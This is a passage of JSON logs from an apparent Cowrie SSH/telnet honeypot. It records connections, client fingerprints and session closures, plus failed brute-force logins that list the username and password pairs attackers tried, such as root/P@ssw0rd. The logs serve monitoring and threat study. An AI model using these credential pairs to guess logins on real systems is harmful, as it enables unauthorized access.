-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:45.119448Z","src_ip":"176.65.132.129","session":"e1380015bfa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:45.366456Z","src_ip":"176.65.132.129","session":"e1380015bfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:46.450274Z","src_ip":"176.65.132.129","session":"e1380015bfa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.74055767059326,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:47.065800Z","src_ip":"152.42.224.71","session":"99e6cb9eb94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.36881995201111,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:47.412579Z","src_ip":"152.42.224.71","session":"766ca04218a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa064a6bc37","protocol":"ssh","message":"New connection: 176.65.132.129:33996 (159.203.135.109:22) [session: 7fa064a6bc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:48.294250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:48.299806Z","src_ip":"176.65.132.129","session":"7fa064a6bc37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:48.390111Z","src_ip":"176.65.132.129","session":"7fa064a6bc37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang123","message":"login attempt [wang/wang123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:48.642249Z","src_ip":"176.65.132.129","session":"7fa064a6bc37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.86097240447998,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:49.654711Z","src_ip":"152.42.224.71","session":"0d66867493d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:49.728384Z","src_ip":"176.65.132.129","session":"7fa064a6bc37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cec28ade96","protocol":"ssh","message":"New connection: 176.65.132.129:34028 (159.203.135.109:22) [session: 21cec28ade96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:51.560634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:51.564770Z","src_ip":"176.65.132.129","session":"21cec28ade96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:51.645913Z","src_ip":"176.65.132.129","session":"21cec28ade96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:52.106321Z","src_ip":"176.65.132.129","session":"21cec28ade96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:53.191427Z","src_ip":"176.65.132.129","session":"21cec28ade96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34048,"dst_ip":"159.203.135.109","dst_port":22,"session":"561d8478ca9a","protocol":"ssh","message":"New connection: 176.65.132.129:34048 (159.203.135.109:22) [session: 561d8478ca9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:54.938255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:54.943659Z","src_ip":"176.65.132.129","session":"561d8478ca9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:55.028837Z","src_ip":"176.65.132.129","session":"561d8478ca9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:55.278754Z","src_ip":"176.65.132.129","session":"561d8478ca9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:56.363394Z","src_ip":"176.65.132.129","session":"561d8478ca9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44548,"dst_ip":"159.203.135.109","dst_port":22,"session":"66927a361add","protocol":"ssh","message":"New connection: 176.65.132.129:44548 (159.203.135.109:22) [session: 66927a361add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:58.225444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:58.229924Z","src_ip":"176.65.132.129","session":"66927a361add","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:58.313947Z","src_ip":"176.65.132.129","session":"66927a361add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:58.563599Z","src_ip":"176.65.132.129","session":"66927a361add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:06:59.696684Z","src_ip":"176.65.132.129","session":"66927a361add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44558,"dst_ip":"159.203.135.109","dst_port":22,"session":"16acdfde4ee8","protocol":"ssh","message":"New connection: 176.65.132.129:44558 (159.203.135.109:22) [session: 16acdfde4ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:01.470752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:01.474882Z","src_ip":"176.65.132.129","session":"16acdfde4ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:01.557558Z","src_ip":"176.65.132.129","session":"16acdfde4ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:01.804917Z","src_ip":"176.65.132.129","session":"16acdfde4ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57714,"dst_ip":"10.17.0.5","dst_port":22,"session":"0052910fd4f3","protocol":"ssh","message":"New connection: 194.113.233.25:57714 (10.17.0.5:22) [session: 0052910fd4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:02.083942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:02.090361Z","src_ip":"194.113.233.25","session":"0052910fd4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:02.186847Z","src_ip":"194.113.233.25","session":"0052910fd4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123","message":"login attempt [root/a123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:02.469440Z","src_ip":"194.113.233.25","session":"0052910fd4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:02.893869Z","src_ip":"176.65.132.129","session":"16acdfde4ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:03.561728Z","src_ip":"194.113.233.25","session":"0052910fd4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59984,"dst_ip":"10.17.0.5","dst_port":22,"session":"deff41c5dd4b","protocol":"ssh","message":"New connection: 80.94.92.184:59984 (10.17.0.5:22) [session: deff41c5dd4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:03.659120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:03.904633Z","src_ip":"80.94.92.184","session":"deff41c5dd4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:03.908966Z","src_ip":"80.94.92.184","session":"deff41c5dd4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44562,"dst_ip":"159.203.135.109","dst_port":22,"session":"08eb2c692716","protocol":"ssh","message":"New connection: 176.65.132.129:44562 (159.203.135.109:22) [session: 08eb2c692716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:04.852082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:04.858533Z","src_ip":"176.65.132.129","session":"08eb2c692716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:04.943966Z","src_ip":"176.65.132.129","session":"08eb2c692716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:05.090005Z","src_ip":"80.94.92.184","session":"deff41c5dd4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:07:05.202685Z","src_ip":"176.65.132.129","session":"08eb2c692716","protocol":"ssh"}
